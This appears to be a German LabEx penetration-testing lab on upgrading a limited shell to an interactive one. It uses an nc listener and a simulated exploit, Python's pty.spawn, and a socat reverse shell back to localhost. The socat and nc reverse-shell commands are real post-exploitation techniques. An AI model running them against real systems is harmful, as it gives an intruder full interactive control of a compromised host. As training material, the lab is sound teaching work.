Einführung
Im Bereich des Penetration Testing (Eindringlichkeitstests) beinhaltet der Zugang zu einem Zielsystem oft das Erlangen einer Shell, die eine einfache Shell oder eine interaktive Shell sein kann. Eine einfache Shell hat eingeschränkte Funktionen und fehlende interaktive Möglichkeiten, während eine interaktive Shell eine robusterere und benutzerfreundlichere Umgebung bietet. Dieses Lab (LabEx) zielt darauf ab, die Unterschiede zwischen einfachen und interaktiven Shells zu untersuchen und Sie durch den Prozess der Aktualisierung einer einfachen Shell zu einer interaktiven Shell zu führen.
Grundlagen der einfachen Shell verstehen
In diesem Schritt werden wir das Konzept einer einfachen Shell und ihre Einschränkungen untersuchen. Eine einfache Shell wird typischerweise über Remote-Befehlsausführungs-Schwachstellen oder andere Exploitationstechniken (Exploitationsmethoden) erlangt. Obwohl sie es Ihnen ermöglicht, Befehle auf dem Zielsystem auszuführen, fehlen ihr mehrere essentielle Funktionen, die die Phase nach der Exploitation behindern können.
Öffnen Sie zunächst ein Terminalfenster und navigieren Sie in das Verzeichnis
/home/labex/project:cd /home/labex/projectUm den Prozess des Erlangens einer einfachen Shell auf dem Zielsystem zu simulieren, müssen Sie einen Listener (Empfänger) auf Port
5911mit dem Befehlnceinrichten:nc -lnvp 5911Erwartete Ausgabe:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911...Dieses Terminalfenster fungiert als Listener für die Verbindung zur einfachen Shell.
Öffnen Sie
ein weiteres Terminalfensterund navigieren Sie in das Verzeichnis/home/labex/project. In Ihrem Home-Verzeichnis sollten Sie eine Datei namensexploit.shsehen. Diese Datei simuliert einen Remote-Befehlsausführungs-Exploit (Exploitationsskript), der verwendet werden kann, um eine einfache Shell auf dem Zielsystem zu erhalten.cd /home/labex/projectFühren Sie das Skript
exploit.shaus, um eine Verbindung zum Listener auf Port5911herzustellen und eine einfache Shell auf dem Zielsystem zu erhalten:./exploit.shErwartete Ausgabe:
labex:project/ $./exploit.sh Simulating attack... Shell has been rebound, please check the terminal which you listen to the port 5911Dieses Skript stellt eine Verbindung zum Listener auf Port
5911her und gibt Ihnen eine einfache Shell auf dem Zielsystem.Gehen Sie zurück zum Terminalfenster, in dem Sie den Listener eingerichtet haben. Hier sollten Sie sehen, dass eine Verbindung mit dem Zielsystem hergestellt wurde.
Beispielausgabe:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696 |Sie können überprüfen, ob Sie eine einfache Shell erhalten haben, indem Sie Befehle wie
whoamiundlsb_release -aausführen. Sie werden jedoch feststellen, dass die einfache Shell bestimmte Funktionen wie ordnungsgemäße Befehlseingabeaufforderungen, Tab-Vervollständigung und die Möglichkeit, interaktive Befehle wiesuodersshzu verwenden, fehlt.
Upgrade zu einer interaktiven Shell mit Python
Eine Möglichkeit, eine einfache Shell zu einer interaktiven Shell zu aktualisieren, besteht darin, das pty-Modul von Python zu verwenden, das es Ihnen ermöglicht, ein Pseudoterminal (pts) zu erstellen.
Überprüfen Sie zunächst, ob Python auf dem Zielsystem installiert ist, indem Sie die folgenden Befehle ausführen:
which pythonWenn Python verfügbar ist, können Sie ein Pseudoterminal mit dem folgenden Befehl erstellen:
python -c 'import pty; pty.spawn("/bin/bash");'Dieser Befehl startet eine neue interaktive Shell mit Pseudoterminal-Unterstützung, sodass Sie Befehle wie
suundsshproblemlos ausführen können.Beispielausgabe:
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");' labex@660d6d4be229593d40db954d:~/project$Sie können überprüfen, ob die neue Shell ein Pseudoterminal ist, indem Sie den Befehl
ttyausführen und die Ausgabe in eine Datei umleiten:tty > /home/labex/project/shell.txtÜberprüfen Sie den Inhalt der Datei
shell.txt, um festzustellen, ob die Shell ein Pseudoterminal (pts) ist.cat /home/labex/project/shell.txtBeispielausgabe:
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt /dev/pts/5
Allerdings, obwohl das Python-Pseudoterminal einige Einschränkungen der einfachen Shell behebt, fehlen ihm immer noch bestimmte Funktionen wie Tab-Vervollständigung, Verlaufsnavigation und die ordnungsgemäße Unterstützung für Texteditoren wie vim oder vi.
Hinweis: Sie können sich aus der Pseudoterminal-Shell abmelden, indem Sie exit eingeben oder Strg+D drücken.
Upgrade zu einer voll interaktiven Shell mit Socat
Für eine umfassendere Lösung können wir das socat-Tool verwenden, um eine voll interaktive Shell zu erhalten, die alle Funktionen unterstützt, einschließlich Tab-Vervollständigung, Verlaufsnavigation und Kompatibilität mit Texteditoren.
Zunächst überprüfen Sie, ob socat auf dem Zielsystem installiert ist, indem Sie den folgenden Befehl ausführen:
which socat
Wenn socat verfügbar ist, folgen Sie diesen Schritten:
Öffnen Sie ein
neues Terminalfensterund starten Sie einen Listener auf Port5912mit dem folgendensocat-Befehl:socat file:$(tty),raw,echo=0 tcp-listen:5912Warten Sie, bis die Verbindung hergestellt ist.
Führen Sie in der einfachen Shell den folgenden Befehl aus, um eine Verbindung zum Listener herzustellen und die Shell zu einer voll interaktiven Shell zu aktualisieren:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912Gehen Sie zurück zum Terminalfenster, in dem Sie den Listener eingerichtet haben. Hier sollten Sie sehen, dass eine Verbindung mit dem Zielsystem hergestellt wurde. Sie sollten jetzt eine voll interaktive Shell haben, die alle Funktionen bietet, die Sie von einer normalen Terminal-Sitzung erwarten würden.
Beispielausgabe:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912 labex@660d5d5ee229593d40db9301:~$
Testen Sie die neue interaktive Shell, indem Sie Befehle wie cat, ssh, vim verwenden und mit den Pfeiltasten nach oben und unten durch den Befehlsverlauf navigieren.
Zusammenfassung
In diesem Lab (LabEx) haben wir das Konzept von einfachen und interaktiven Shells im Kontext des Penetration Testing (Eindringlichkeitstests) untersucht. Wir haben die Einschränkungen von einfachen Shells kennengelernt und die Wichtigkeit des Upgrades zu einer interaktiven Shell für effiziente Aktivitäten nach der Exploitation verstanden. Wir haben zwei Methoden zum Upgrade einer einfachen Shell behandelt: die Verwendung des pty-Moduls von Python zur Erstellung eines Pseudoterminals und die Verwendung des socat-Tools, um eine voll interaktive Shell mit allen erforderlichen Funktionen zu erhalten. Durch das Üben dieser Techniken haben Sie wertvolle Fähigkeiten erworben, die Ihnen bei zukünftigen Penetration-Testing-Aufträgen helfen werden. Sie können damit die Herausforderungen, die einfache Shells mit sich bringen, überwinden und Ihre Aktivitäten nach der Exploitation optimieren.